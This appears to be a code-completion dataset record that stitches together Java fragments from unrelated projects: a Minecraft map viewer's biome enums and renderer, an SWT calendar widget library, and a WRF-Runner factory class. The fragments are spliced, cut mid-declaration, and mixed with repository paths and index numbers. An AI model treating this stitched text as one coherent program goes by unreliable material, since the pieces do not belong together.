MUSHROOM_ISLAND_M(142, \"Mushroom Island M\", Color.fromRGB(255, 82, 255)),\n MUSHROOM_ISLAND_SHORE_M(143, \"Mushroom Island Shore M\", Color.fromRGB(243, 82, 255)),\n BEACH_M(144, \"Beach M\", Color.fromRGB(255, 255, 162)),\n DESERT_HILLS_M(145, \"Desert Hills M\", Color.fromRGB(255, 177, 100)),\n FOREST_HILLS_M(146, \"Forest Hills M\", Color.fromRGB(113, 167, 109)),\n TAIGA_HILLS_M(147, \"Taiga Hills M\", Color.fromRGB(103, 135, 134)),\n EXTREME_HILLS_EDGE_M(148, \"Extreme Hills Edge M\", Color.fromRGB(196, 203, 234)),\n JUNGLE_M(149, \"Jungle M\", Color.fromRGB(160, 203, 92)),\n JUNGLE_HILLS_M(150, \"Jungle Hills M\", Color.fromRGB(127, 146, 86)),\n JUNGLE_EDGE_M(151, \"Jungle Edge M\", Color.fromRGB(179, 217, 105)),\n DEEP_OCEAN_M(152, \"Deep Ocean M\", Color.fromRGB(82, 79, 130)),\n STONE_BEACH_M(153, \"Stone Beach M\", Color.fromRGB(242, 243, 209)),\n COLD_BEACH_M(154, \"Cold Beach M\", Color.fromRGB(255, 255, 255)),\n BIRCH_FOREST_M(155, \"Birch Forest M\", Color.fromRGB(131, 194, 148)),\n BIRCH_FOREST_HILLS_M(156, \"Birch Forest Hills M\", Color.fromRGB(111, 175, 133)),\n ROOFED_FOREST_M(157, \"Roofed Forest M\", Color.fromRGB(143, 158, 109)),\n COLD_TAIGA_M(158, \"Cold Taiga M\", Color.fromRGB(132, 163, 156)),\n COLD_TAIGA_HILLS_M(159, \"Cold Taiga Hills M\", Color.fromRGB(113, 143, 136)),\n MEGA_SPRUCE_TAIGA(160, \"Mega Spruce Taiga\", Color.fromRGB(168, 180, 164)),\n REDWOOD_TAIGA_HILLS_M(161, \"Redwood Taiga Hills M\", Color.fromRGB(150, 158, 140)),\n EXTREME_HILLS_PLUS_M(162, \"Extreme Hills+ M\", Color.fromRGB(161, 194, 158)),\n SAVANNA_M(163, \"Savanna M\", Color.fromRGB(255, 255, 173)),\n SAVANNA_PLATEAU_M(164, \"Savanna Plateau M\", Color.fromRGB(247, 238, 180)),\n MESA_BRYCE(165, \"Mesa (Bryce)\", Color.fromRGB(255, 151, 101)),\n MESA_PLATEAU_F_M(166, \"Mesa Plateau F M\", Color.fromRGB(255, 234, 179)),\n MESA_PLATEAU_M(167, \"Mesa Plateau M\", Color.fromRGB(255, 220, 184));\n\n public final int id;\n public final String name;\n public final Color color;\n\n Biome(int id, String name, Color color){\n this.id = id;\n this.name = name;\n this.color = color;\n }\n\n private static final SparseArray<Biome> biomeMap;\n static {\n biomeMap = new SparseArray<>();\n for(Biome b : Biome.values()){\n biomeMap.put(b.id, b);\n }\n }\n\n public static Biome getBiome(int id){\n return biomeMap.get(id);\n }\n}", "public enum Dimension {\n\n OVERWORLD(0, \"overworld\", \"Overworld\", 16, 16, 128, 1, MapType.OVERWORLD_SATELLITE),\n NETHER(1, \"nether\", \"Nether\", 16, 16, 128, 8, MapType.NETHER),\n END(2, \"end\", \"End\", 16, 16, 128, 1, MapType.END_SATELLITE);//mcpe: SOON^TM /jk\n\n public final int id;\n public final int chunkW, chunkL, chunkH;\n public final int dimensionScale;\n public final String dataName, name;\n public final MapType defaultMapType;\n\n Dimension(int id, String dataName, String name, int chunkW, int chunkL, int chunkH, int dimensionScale, MapType defaultMapType){\n this.id = id;\n this.dataName = dataName;\n this.name = name;\n this.chunkW = chunkW;\n this.chunkL = chunkL;\n this.chunkH = chunkH;\n this.dimensionScale = dimensionScale;\n this.defaultMapType = defaultMapType;\n }\n\n private static Map<String, Dimension> dimensionMap = new HashMap<>();\n\n static {\n for(Dimension dimension : Dimension.values()){\n dimensionMap.put(dimension.dataName, dimension);\n }\n }\n\n public static Dimension getDimension(String dataName){\n if(dataName == null) return null;\n return dimensionMap.get(dataName.toLowerCase());\n }\n\n public static Dimension getDimension(int id){\n for(Dimension dimension : values()){\n if(dimension.id == id) return dimension;\n }\n return null;\n }\n\n}" ]
import android.graphics.Bitmap; import com.protolambda.blocktopograph.chunk.Chunk; import com.protolambda.blocktopograph.chunk.ChunkManager; import com.protolambda.blocktopograph.chunk.Version; import com.protolambda.blocktopograph.chunk.terrain.TerrainChunkData; import com.protolambda.blocktopograph.map.Biome; import com.protolambda.blocktopograph.map.Dimension;
package com.protolambda.blocktopograph.map.renderer; public class BiomeRenderer implements MapRenderer { /** * Render a single chunk to provided bitmap (bm) * @param cm ChunkManager, provides chunks, which provide chunk-data * @param bm Bitmap to render to * @param dimension Mapped dimension * @param chunkX X chunk coordinate (x-block coord / Chunk.WIDTH) * @param chunkZ Z chunk coordinate (z-block coord / Chunk.LENGTH) * @param bX begin block X coordinate, relative to chunk edge * @param bZ begin block Z coordinate, relative to chunk edge * @param eX end block X coordinate, relative to chunk edge * @param eZ end block Z coordinate, relative to chunk edge * @param pX texture X pixel coord to start rendering to * @param pY texture Y pixel coord to start rendering to * @param pW width (X) of one block in pixels * @param pL length (Z) of one block in pixels * @return bm is returned back * * @throws Version.VersionException when the version of the chunk is unsupported. */ public Bitmap renderToBitmap(ChunkManager cm, Bitmap bm, Dimension dimension, int chunkX, int chunkZ, int bX, int bZ, int eX, int eZ, int pX, int pY, int pW, int pL) throws Version.VersionException { Chunk chunk = cm.getChunk(chunkX, chunkZ); Version cVersion = chunk.getVersion(); if(cVersion == Version.ERROR) return MapType.ERROR.renderer.renderToBitmap(cm, bm, dimension, chunkX, chunkZ, bX, bZ, eX, eZ, pX, pY, pW, pL); if(cVersion == Version.NULL) return MapType.CHESS.renderer.renderToBitmap(cm, bm, dimension, chunkX, chunkZ, bX, bZ, eX, eZ, pX, pY, pW, pL); //the bottom sub-chunk is sufficient to get biome data. TerrainChunkData data = chunk.getTerrain((byte) 0); if(data == null || !data.load2DData()) return MapType.CHESS.renderer.renderToBitmap(cm, bm, dimension, chunkX, chunkZ, bX, bZ, eX, eZ, pX, pY, pW, pL); int x, z, biomeID, color, i, j, tX, tY;
Biome biome;
4
nextopcn/xcalendar
src/main/java/cn/nextop/thorin/rcp/support/swt/widget/xcalendar/model/config/widget/impl/XCalendarSelectTodayWidget.java
[ "public final class Fonts {\n\t//\n\tpublic static final Font SYSTEM = Display.getDefault().getSystemFont();\n\tpublic static final Font AWESOME = FontAwesome.getFont(Math.max(10, getHeight(SYSTEM)));\n\t\n\t//\n\tprotected static final ConcurrentMultiKeyMap<Class<?>, String, Font> FONTS = new ConcurrentMultiKeyMap<>();\n\t\n\t/**\n\t * Font\n\t */\n\tpublic static Font getSystemFont() {\n\t\treturn SYSTEM;\n\t}\n\t\n\tpublic static Font getAwesomeFont() {\n\t\treturn AWESOME;\n\t}\n\t\n\t/**\n\t * \n\t */\n\tpublic static final int getHeight(Font font) {\n\t\treturn font.getFontData()[0].getHeight();\n\t}\n\t\n\tpublic static final Font bold(final Font font) {\n\t\tFontDescriptor fd = FontDescriptor.createFrom(font);\n\t\treturn fd.setStyle(SWT.BOLD).createFont(Display.getDefault());\n\t}\n\t\n\tpublic static final Font size(Font font, int delta) {\n\t\tFontDescriptor fd = FontDescriptor.createFrom(font);\n\t\tint height = fd.getFontData()[0].getHeight() + delta;\n\t\treturn fd.setHeight(height).createFont(Display.getDefault());\n\t}\n\n\t/**\n\t * \n\t */\n\tpublic static Font getFont(Class<?> clazz, String key, Supplier<Font> font) {\n\t\tFont r = FONTS.get(clazz, key); if(r != null) return r;\n\t\tFont existing = FONTS.putIfAbsent(clazz, key, r = font.get());\n\t\tif (existing != null) { r.dispose(); r = existing; } return r; // Dispose\n\t}\n}", "public class XCalendar extends Canvas {\n\t//\n\tprotected final XCalendarModel model;\n\tprotected final XCalendarEventBus bus;\n\tprotected final XCalendarReactor reactor;\n\tprotected volatile boolean editable = true;\n\tprotected final Map<Object, Object> cookies;\n\tprotected Map<XCalendarState, List<XCalendarWidget>> widgets;\n\t\n\t//\n\tpublic final XCalendarEventBus getBus() { return this.bus; }\n\tpublic final XCalendarModel getModel() { return this.model; }\n\tpublic final XCalendarReactor getReactor() {return this.reactor; }\n\n\t/**\n\t * \n\t */\n\tpublic XCalendar(Composite parent, int style) {\n\t\t//\n\t\tsuper(shell(parent), checkStyle(style | SWT.DOUBLE_BUFFERED));\n\t\tthis.cookies = new HashMap<>();\n\t\tthis.model = new XCalendarModel(style);\n\t\tthis.bus = new XCalendarDefaultEventBus(this);\n\t\tthis.reactor = new XCalendarDefaultRector(this);\n\t\tthis.bus.addHandler(new XCalendarDefaultEventHandler(this));\n\t\t\n\t\t//\n\t\tgetShell().setLayout(new FillLayout());\n\t\taddPaintListener(new XPaintListener());\n\t\tthis.addListener(SWT.MouseUp, new XListener());\n\t\tthis.addListener(SWT.MouseDown, new XListener());\n\t\tthis.addListener(SWT.MouseMove, new XListener());\n\t\tthis.addListener(SWT.MouseExit, new XListener());\n\t\tthis.addListener(SWT.MouseEnter, new XListener());\n\t\tgetShell().addListener(SWT.Deactivate, new XDeactivateListener());\n\t}\n\t\n\t/**\n\t * \n\t */\n\t@Override\n\tpublic boolean setFocus() {\n\t\tsuper.forceFocus(); \n\t\treturn true;\n\t}\n\t\n\tpublic boolean isFocused() {\n\t\treturn isFocusControl();\n\t}\n\n\tpublic boolean getEditable() {\n\t\treturn editable;\n\t}\n\t\n\tpublic void setEditable(boolean editable) {\n\t\tthis.editable = editable; redraw();\n\t}\n\t\n\t/**\n\t * Cookie\n\t */\n\tpublic final <T> T getCookie() {\n\t\treturn getCookie(\"$DEFAULT\");\n\t}\n\t\n\tpublic final void setCookie(Object value) {\n\t\tsetCookie(\"$DEFAULT\", value);\n\t}\n\t\n\tpublic final <T> T getCookie(final Object key) {\n\t\treturn cast(this.cookies.get(key));\n\t}\n\t\n\tpublic void setCookie(Object key, Object value) {\n\t\tthis.cookies.put(key, value);\n\t}\n\t\n\t/**\n\t * \n\t */\n\tpublic void hide() {\n\t\tif(!isDisposed()) getShell().dispose(); \n\t}\n\t\n\tpublic void show(Composite parent, Rectangle bounds) {\n\t\tthis.widgets = XCalendarWidgetFactory.create(this);\n\t\tXCalendarLayout layout = model.getConfig().getLayout();\n\t\tlayout.layout(this, parent, bounds); getShell().open();\n\t}\n\t\n\t/**\n\t * \n\t */\n\tpublic void feed(Date date) {\n\t\tthis.reactor.submit(new XCalendarFeedAction(date));\n\t}\n\t\n\tpublic void setup(Predicate<Date> predicate) {\n\t\tthis.reactor.submit(new XCalendarSetupAction(predicate, false));\n\t}\n\t\n\tpublic void resize(Composite parent, Rectangle bounds) {\n\t\tthis.reactor.submit(new XCalendarResizeAction(parent, bounds));\n\t}\n\t\n\tpublic void setup(Predicate<Date> predicate, boolean nullable) {\n\t\tthis.reactor.submit(new XCalendarSetupAction(predicate, nullable));\n\t}\n\t\n\t/**\n\t * \n\t */\n\tpublic List<XCalendarWidget> getWidgets() {\n\t\treturn this.widgets.get(getModel().getState());\n\t}\n\n\tpublic XCalendarWidget getWidget(int x, int y) {\n\t\treturn filter((v) -> v.getBounds().contains(x, y));\n\t}\n\t\n\tpublic void addXCalendarEventListener(XCalendarEventListener listener) {\n\t\tthis.getBus().addListener(listener);\n\t}\n\t\n\tpublic void delXCalendarEventListener(XCalendarEventListener listener) {\n\t\tthis.getBus().delListener(listener);\n\t}\n\t\n\tpublic XCalendarWidget filter(Predicate<XCalendarWidget> test) {\n\t\tfor(XCalendarWidget v : getWidgets()) if(test.test(v)) return v; return null;\n\t}\n\t\n\t/**\n\t * \n\t */\n\tprotected void handle(Event event) {\n\t\tthis.bus.handle(event);\n\t}\n\n\tprotected void paint(final GC gc) {\n\t\tthis.model.getConfig().getRender().render(this, gc);\n\t}\n\n\tprotected static Composite shell(Composite parent) {\n\t\treturn new Shell(parent.getShell(), SWT.NO_TRIM | SWT.ON_TOP);\n\t}\n\t\n\tprotected final class XListener implements Listener {\n\t\t@Override public void handleEvent(Event event) { handle(event); }\n\t}\n\n\tprotected final class XPaintListener implements PaintListener {\n\t\t@Override public final void paintControl(final PaintEvent event) { paint(event.gc); }\n\t}\n\t\n\tprotected final class XDeactivateListener implements Listener {\n\t\t@Override public void handleEvent(Event event) { SwtUtils.async(null, () -> { handle(event); }); }\n\t}\n\n\tprotected static int checkStyle(int style) {\n\t\tif((style & SWT.TIME) != 0 || (style & SWT.DATE) != 0 || (style & SWT.LONG) != 0 ||\n\t\t\t\t(style & SWT.SHORT) != 0 || (style & SWT.MEDIUM) != 0) return style; else throw new SWTException(SWT.ERROR_INVALID_ARGUMENT);\n\t}\n}", "public class XCalendarSelectAction extends AbstractXCalendarAction {\n\t//\n\tprivate Date date;\n\tprivate boolean clear;\n\t\n\tpublic XCalendarSelectAction(@Nullable Date date) {\n\t\tthis(date, false);\n\t}\n\t\n\t/**\n\t * \n\t */\n\tpublic XCalendarSelectAction(@Nullable Date date, boolean clear) {\n\t\tsuper(Type.SELECT); this.date = date; this.clear = clear;\n\t}\n\n\t/**\n\t * \n\t */\n\t@Override\n\tpublic void apply(final XCalendar calendar) {\n\t\tfinal XCalendarModel model = calendar.getModel();\n\t\tif (date != null) date = model.getCalendar().adjust(date, clear);\n\t\tmodel.setDate(date); publish(calendar, new XCalendarSelectEvent(date, model.getZoneId()), true);\n\t}\n}", "public class XCalendarModel {\n\t//\n\tprotected int style;\n\tprotected Date date;\n\tprotected ZoneId zoneId;\n\tprotected boolean nullable;\n\tprotected XCalendarTheme theme;\n\tprotected XCalendarConfig config;\n\tprotected XVirtualCalendar calendar;\n\tprotected XCalendarStateMachine stateMachine;\n\n\t/**\n\t * \n\t */\n\tpublic XCalendarModel(int style) {\n\t\t//\n\t\tthis.style = style;\n\t\tthis.config = new XCalendarConfig();\n\t\tthis.zoneId = ZoneId.systemDefault();\n\t\tthis.calendar = new XVirtualCalendar(this.zoneId, isDateTime());\n\t\tthis.theme = new XCalendarThemeFactory().create(Locale.getDefault());\n\t\t\n\t\t//\n\t\tif (isDateTime()) {\n\t\t\tthis.stateMachine = new XCalendarStateMachine(DATE, TIME);\n\t\t} else if (isDate()) {\n\t\t\tthis.stateMachine = new XCalendarStateMachine(DATE, null);\n\t\t} else if (isYear()) {\n\t\t\tthis.stateMachine = new XCalendarStateMachine(YEAR, null);\n\t\t} else if (isTime()) {\n\t\t\tthis.stateMachine = new XCalendarStateMachine(TIME, null);\n\t\t} else if (isYearMonth()) {\n\t\t\tthis.stateMachine = new XCalendarStateMachine(MONTH, null);\n\t\t} \n\t}\n\n\t/**\n\t * \n\t */\n\tpublic boolean isTime() {\n\t\treturn (style & SWT.TIME) != 0;\n\t}\n\n\tpublic boolean isDate() {\n\t\treturn (style & SWT.DATE) != 0;\n\t}\n\n\tpublic boolean isYear() {\n\t\treturn (style & SWT.SHORT) != 0;\n\t}\n\n\tpublic boolean isDateTime() {\n\t\treturn (style & SWT.LONG) != 0;\n\t}\n\t\n\tpublic boolean isYearMonth() {\n\t\treturn (style & SWT.MEDIUM) != 0;\n\t}\n\n\t/**\n\t * \n\t */\n\tpublic Date getDate() {\n\t\treturn date;\n\t}\n\t\n\tpublic void setDate(Date date) {\n\t\tthis.date = date;\n\t}\n\t\n\tpublic ZoneId getZoneId() {\n\t\treturn zoneId;\n\t}\n\n\tpublic void setZoneId(ZoneId zoneId) {\n\t\tthis.zoneId = zoneId;\n\t}\n\t\n\tpublic boolean isNullable() {\n\t\treturn nullable;\n\t}\n\n\tpublic void setNullable(boolean nullable) {\n\t\tthis.nullable = nullable;\n\t}\n\n\tpublic XCalendarState getState() {\n\t\treturn this.stateMachine.current();\n\t}\n\t\n\tpublic XCalendarStateMachine getStateMachine() {\n\t\treturn this.stateMachine;\n\t}\n\n\tpublic final XCalendarTheme getTheme() {\n\t\treturn theme;\n\t}\n\n\tpublic final void setTheme(XCalendarTheme theme) {\n\t\tthis.theme = theme;\n\t}\n\n\tpublic XVirtualCalendar getCalendar() {\n\t\treturn calendar;\n\t}\n\n\tpublic void setCalendar(XVirtualCalendar calendar) {\n\t\tthis.calendar = calendar;\n\t}\n\t\n\tpublic final XCalendarConfig getConfig() {\n\t\treturn config;\n\t}\n\n\tpublic final void setConfig(XCalendarConfig config) {\n\t\tthis.config = config;\n\t}\n\t\n\t/**\n\t * \n\t */\n\tpublic Date now() {\n\t\tif(!isDateTime() && !isTime()) {\n\t\t\treturn toDate(truncatedTo(XCalendarUtils.now(getZoneId()), ChronoUnit.DAYS));\n\t\t} else {\n\t\t\treturn toDate(truncatedTo(XCalendarUtils.now(getZoneId()), ChronoUnit.SECONDS));\n\t\t}\n\t}\n}", "public class XCalendarFrame implements AutoCloseable {\n\t//\n\tprivate GC gc;\n\tprivate Transform transform;\n\t\n\t/**\n\t * \n\t */\n\tpublic XCalendarFrame(GC gc, Transform transform) {\n\t\tthis.gc = gc; this.transform = transform;\n\t}\n\n\t/**\n\t * \n\t */\n\tpublic final GC getGc() {\n\t\treturn gc;\n\t}\n\t\n\tpublic Transform getTransform() {\n\t\treturn transform;\n\t}\n\n\t/**\n\t * \n\t */\n\t@Override\n\tpublic void close() {\n\t\tif(this.gc.isDisposed()) return;\n\t\tgc.setClipping((Rectangle)null);\n\t\tif(transform != null && !transform.isDisposed()) transform.dispose();\n\t}\n}", "public abstract class AbstractXCalendarWidget implements XCalendarWidget {\n\t//\n\tprotected Point margin;\n\tprotected Rectangle bounds;\n\tprotected boolean disposed;\n\tprotected final XCalendar popup;\n\tprotected boolean enabled = true;\n\tprotected XCalendarMouseTracker mouse;\n\t\n\t/**\n\t * \n\t */\n\tpublic AbstractXCalendarWidget(XCalendar popup) {\n\t\tthis.popup = popup;\n\t\tthis.disposed = false;\n\t\tthis.margin = new Point(1, 1);\n\t\tthis.bounds = new Rectangle(0, 0, 0, 0);\n\t\tthis.mouse = new XCalendarMouseTracker();\n\t}\n\t\n\t/**\n\t * \n\t */\n\t@Override\n\tpublic void dispose() {\n\t\tthis.disposed = true;\n\t}\n\n\t@Override\n\tpublic boolean isDisposed() {\n\t\treturn this.disposed;\n\t}\n\n\t@Override\n\tpublic final Point getMargin() {\n\t\treturn this.margin;\n\t}\n\t\n\t@Override\n\tpublic final Rectangle getBounds() {\n\t\treturn this.bounds;\n\t}\n\t\n\t@Override\n\tpublic void setMargin(Point margin) {\n\t\tthis.margin = margin;\n\t}\n\n\t@Override\n\tpublic XCalendarMouseTracker getMouse() {\n\t\treturn this.mouse;\n\t}\n\t@Override\n\tpublic void setBounds(int x, int y, int w, int h) {\n\t\tint mx = margin.x, my = margin.y;\n\t\tbounds = new Rectangle(x + mx, y + my, w - (mx << 1), h - (my << 1));\n\t}\n\t\n\t/**\n\t * \n\t */\n\tprotected void showCursor() {\n\t\tthis.popup.setCursor(Cursors.CURSOR_HAND);\n\t}\n\t\n\tprotected void hideCursor() {\n\t\tthis.popup.setCursor(Cursors.CURSOR_ARROW);\n\t}\n\t\n\tprotected boolean submit(final XCalendarAction action) {\n\t\tthis.popup.getReactor().submit(action); return true;\n\t}\n\t\n\tprotected <T> T query(XVirtualCalendar v, ZoneId z, int col, int row) {\n\t\tthrow new UnsupportedOperationException();\n\t}\n\t\n\t/**\n\t * Event\n\t */\n\tprotected boolean onMouseUp(XCalendarMouseUpEvent event) {\n\t\treturn false;\n\t}\n\t\n\tprotected boolean onMouseDown(XCalendarMouseDownEvent event) {\n\t\treturn false;\n\t}\n\t\n\tprotected boolean onMouseMove(XCalendarMouseMoveEvent event) {\n\t\treturn false;\n\t}\n\t\n\tprotected boolean onMouseEnter(XCalendarMouseEnterEvent event) {\n\t\treturn false;\n\t}\n\t\n\tprotected boolean onMouseLeave(XCalendarMouseLeaveEvent event) {\n\t\treturn false;\n\t}\n\t\n\t@Override\n\tpublic boolean handle(final XCalendarEvent event) {\n\t\t//\n\t\tif(!popup.getEnabled() || !popup.getEditable()) return false; \n\t\t\n\t\t//\n\t\tthis.mouse.track(event);\n\t\tif(event instanceof XCalendarMouseUpEvent) return onMouseUp(cast(event));\n\t\telse if(event instanceof XCalendarMouseDownEvent) return onMouseDown(cast(event));\n\t\telse if(event instanceof XCalendarMouseMoveEvent) return onMouseMove(cast(event));\n\t\telse if(event instanceof XCalendarMouseEnterEvent) return onMouseEnter(cast(event));\n\t\telse if(event instanceof XCalendarMouseLeaveEvent) return onMouseLeave(cast(event));\n\t\treturn false;\n\t}\n}", "public abstract class XCalendarTheme {\n\t\n\tprivate static final String[][] HOUR = { { \"00\", \"01\", \"02\", \"03\" }, \n\t\t\t { \"04\", \"05\", \"06\", \"07\" }, \n\t\t\t { \"08\", \"09\", \"10\", \"11\" }, \n\t\t\t { \"12\", \"13\", \"14\", \"15\" }, \n\t\t\t { \"16\", \"17\", \"18\", \"19\" }, \n\t\t\t { \"20\", \"21\", \"22\", \"23\" } };\n\n\tprivate static final String[][] MINUTE = { { \"00\", \"05\", \"10\", \"15\" }, \n { \"20\", \"25\", \"30\", \"35\" }, \n { \"40\", \"45\", \"50\", \"55\" } };\n\n\tprivate static final String[][] SECOND = { { \"00\", \"05\", \"10\", \"15\" }, \n { \"20\", \"25\", \"30\", \"35\" }, \n { \"40\", \"45\", \"50\", \"55\" } };\n\t\n\t//\n\tprotected int arc = 8;\n\tprotected int margin = 5;\n\tprotected int width = 220;\n\tprotected Font font = Fonts.getSystemFont();\n\tprotected Font bold = Fonts.getFont(XCalendarTheme.class, \"bold\", () -> Fonts.bold(this.font));\n\t\n\tprotected Color[] grid = new Color[] { getColor(0xc8, 0xc8, 0xc8), getColor(0x8f, 0xbc, 0xee) };\n\tprotected Color[] toolbar = new Color[] { getColor(0x00, 0x00, 0x00), getColor(0x40, 0x87, 0xcc) };\n\tprotected Color[] foreground = new Color[] { getColor(0x00, 0x00, 0x00), getColor(0x9f, 0x9f, 0x9f), getColor(0xff, 0xff, 0xff) };\n\tprotected Color[] background = new Color[] { getColor(0xff, 0xff, 0xff), getColor(0xe0, 0xe0, 0xe0), getColor(0x00, 0x69, 0xcf), getColor(0xfe, 0xde, 0x00) };\n\t\n\t/**\n\t * \n\t */\n\tpublic abstract String[][] getMonthTheme();\n\tpublic abstract String[] getDayOfWeekTheme();\n\tpublic abstract String[] getMonthOfYearTheme();\n\tpublic abstract String header(int month, int year);\n\t\n\tpublic String[][] getHourTheme(){ return HOUR; }\n\tpublic String[][] getMinuteTheme(){ return MINUTE; }\n\tpublic String[][] getSecondTheme(){ return SECOND; }\n\n\t/**\n\t * \n\t */\n\tpublic int getArc() {\n\t\treturn arc;\n\t}\n\t\n\tpublic Font getBold() {\n\t\treturn bold;\n\t}\n\t\n\tpublic Font getFont() {\n\t\treturn font;\n\t}\n\n\tpublic int getWidth() {\n\t\treturn width;\n\t}\n\t\n\tpublic int getMargin() {\n\t\treturn margin;\n\t}\n\t\n\tpublic Color[] getToolbar() {\n\t\treturn toolbar;\n\t}\n\t\n\tpublic Color[] getForeground() {\n\t\treturn foreground;\n\t}\n\t\n\tpublic Color[] getBackground() {\n\t\treturn background;\n\t}\n\t\n\t/**\n\t * \n\t */\n\tpublic void setArc(int arc) {\n\t\tthis.arc = arc;\n\t}\n\t\n\tpublic void setBold(Font bold) {\n\t\tthis.bold = bold;\n\t}\n\t\n\tpublic void setFont(Font font) {\n\t\tthis.font = font;\n\t}\n\t\n\tpublic void setWidth(int width) {\n\t\tthis.width = width;\n\t}\n\t\n\tpublic void setMargin(int margin) {\n\t\tthis.margin = margin;\n\t}\n\n\tpublic void setToolbar(Color[] toolbar) {\n\t\tthis.toolbar = toolbar;\n\t}\n\t\n\tpublic final void setGrid(Color[] colors) {\n\t\tthis.grid = colors;\n\t}\n\t\n\tpublic void setForeground(Color[] foreground) {\n\t\tthis.foreground = foreground;\n\t}\n\n\tpublic void setBackground(Color[] background) {\n\t\tthis.background = background;\n\t}\n\n\t/**\n\t * \n\t */\n\tpublic Color getGrid(boolean focused) {\n\t\treturn focused ? grid[1] : grid[0];\n\t}\n\t\n\tpublic Color getToolBarBackground(boolean hovered){\n\t\treturn hovered ? toolbar[0] : toolbar[1];\n\t}\n\t\n\tpublic Color getForeground(boolean enabled, boolean selected, boolean same) {\n\t\treturn !enabled? foreground[1] : selected ? foreground[2] : same ? foreground[0] : foreground[1];\n\t}\n\t\n\tpublic Color getBackground(boolean enabled, boolean selected, boolean same, boolean hovered) {\n\t\treturn !enabled ? background[0] : selected ? background[2] : same ? background[3] : hovered? background[1] : background[0];\n\t}\n}", "public final class Pair<T> {\n\t//\n\tprivate T v1;\n\tprivate T v2;\n\t\n\t/**\n\t * \n\t */\n\tpublic Pair() {\n\t}\n\t\n\tpublic Pair(T v1, T v2) {\n\t\tthis.v1 = v1;\n\t\tthis.v2 = v2;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"Pair{\" +\n\t\t\t\t\"v1=\" + v1 +\n\t\t\t\t\", v2=\" + v2 +\n\t\t\t\t'}';\n\t}\n\n\t@Override\n\tpublic boolean equals(Object o) {\n\t\tif (this == o) return true;\n\t\tif (o == null || getClass() != o.getClass()) return false;\n\n\t\tPair<?> pair = (Pair<?>) o;\n\n\t\tif (v1 != null ? !v1.equals(pair.v1) : pair.v1 != null) return false;\n\t\treturn v2 != null ? v2.equals(pair.v2) : pair.v2 == null;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tint result = v1 != null ? v1.hashCode() : 0;\n\t\tresult = 31 * result + (v2 != null ? v2.hashCode() : 0);\n\t\treturn result;\n\t}\n\n\t/**\n\t * \n\t */\n\tpublic T getV1() {\n\t\treturn v1;\n\t}\n\n\tpublic void setV1(T v1) {\n\t\tthis.v1 = v1;\n\t}\n\t\n\tpublic T getV2() {\n\t\treturn v2;\n\t}\n\n\tpublic void setV2(T v2) {\n\t\tthis.v2 = v2;\n\t}\n\n\t/**\n\t * \n\t */\n\tpublic synchronized void swap() {\n\t\tT backup = this.v1;\n\t\tthis.v1 = this.v2;\n\t\tthis.v2 = backup;\n\t}\n\t\n\t/**\n\t * \n\t */\n\tpublic static void swap(Pair<?> p) {\n\t\tdoSwap(p); // Nothing but capture the <?>\n\t}\n\t\n\tprivate static <T> void doSwap(Pair<T> p) {\n\t\tsynchronized(p) {\n\t\t\tT backup = p.v1;\n\t\t\tp.v1 = p.v2;\n\t\t\tp.v2 = backup;\n\t\t}\n\t}\n\n}", "public static Point extent(GC gc, String text) {\n\treturn extent(gc, text, getExtents(gc, 20480));\n}" ]
import cn.nextop.thorin.rcp.support.swt.utility.graphics.Fonts; import cn.nextop.thorin.rcp.support.swt.widget.xcalendar.XCalendar; import cn.nextop.thorin.rcp.support.swt.widget.xcalendar.event.bus.internal.*; import cn.nextop.thorin.rcp.support.swt.widget.xcalendar.event.reactor.impl.action.XCalendarSelectAction; import cn.nextop.thorin.rcp.support.swt.widget.xcalendar.model.XCalendarModel; import cn.nextop.thorin.rcp.support.swt.widget.xcalendar.model.config.render.XCalendarFrame; import cn.nextop.thorin.rcp.support.swt.widget.xcalendar.model.config.widget.AbstractXCalendarWidget; import cn.nextop.thorin.rcp.support.swt.widget.xcalendar.model.theme.XCalendarTheme; import cn.nextop.thorin.rcp.support.util.type.Pair; import org.eclipse.swt.graphics.GC; import org.eclipse.swt.graphics.Point; import java.util.Date; import static cn.nextop.thorin.rcp.support.swt.utility.graphics.Extents.extent; import static com.patrikdufresne.fontawesome.FontAwesome.crosshairs;
package cn.nextop.thorin.rcp.support.swt.widget.xcalendar.model.config.widget.impl; /** * @author chenby * */ public class XCalendarSelectTodayWidget extends AbstractXCalendarWidget { /** * */ public XCalendarSelectTodayWidget(XCalendar popup) { super(popup); } /** * */ @Override
public Pair<Point> locate(int x, int y, int w, int m) {
7
Toberumono/WRF-Runner
src/toberumono/wrf/timing/round/ListRound.java
[ "public class WRFRunnerComponentFactory<T> {\n\tprivate static final Map<Class<?>, WRFRunnerComponentFactory<?>> factories = new HashMap<>();\n\tprivate final Map<String, BiFunction<ScopedMap, Scope, T>> components;\n\tprivate String defaultComponentType;\n\tprivate BiFunction<ScopedMap, Scope, T> disabledComponentConstructor;\n\tprivate final Class<T> rootType;\n\t\n\tprivate WRFRunnerComponentFactory(Class<T> rootType, String defaultComponentType, BiFunction<ScopedMap, Scope, T> disabledComponentConstructor) {\n\t\tcomponents = new HashMap<>();\n\t\tthis.rootType = rootType;\n\t\tthis.defaultComponentType = defaultComponentType;\n\t\tthis.disabledComponentConstructor = disabledComponentConstructor;\n\t}\n\t\n\t/**\n\t * Retrieves the {@link WRFRunnerComponentFactory} for the given {@link Class}.\n\t * \n\t * @param <T>\n\t * the type of the component to be generated\n\t * @param clazz\n\t * the {@link Class} provided when the {@link WRFRunnerComponentFactory} that is to be retrieved was created\n\t * @return an instance of {@link WRFRunnerComponentFactory} that produces components that are subclasses of {@code clazz}\n\t * @throws NoSuchFactoryException\n\t * if a {@link WRFRunnerComponentFactory} for the given {@link Class} does not exist\n\t */\n\tpublic static <T> WRFRunnerComponentFactory<T> getFactory(Class<T> clazz) {\n\t\tsynchronized (factories) {\n\t\t\tif (!factories.containsKey(clazz))\n\t\t\t\tthrow new NoSuchFactoryException(\"The factory for \" + clazz.getName() + \" does not exist.\");\n\t\t\t@SuppressWarnings(\"unchecked\") WRFRunnerComponentFactory<T> factory = (WRFRunnerComponentFactory<T>) factories.get(clazz);\n\t\t\treturn factory;\n\t\t}\n\t}\n\t\n\t/**\n\t * Retrieves the {@link WRFRunnerComponentFactory} for the given {@link Class} if the {@link WRFRunnerComponentFactory} exists and updates its\n\t * {@code defaultComponentType} and {@code disabledComponentConstructor} if they are not {@code null}. Otherwise, it creates a\n\t * {@link WRFRunnerComponentFactory} for the given {@link Class} with the given {@code defaultComponentType} and\n\t * {@code disabledComponentConstructor}.\n\t * 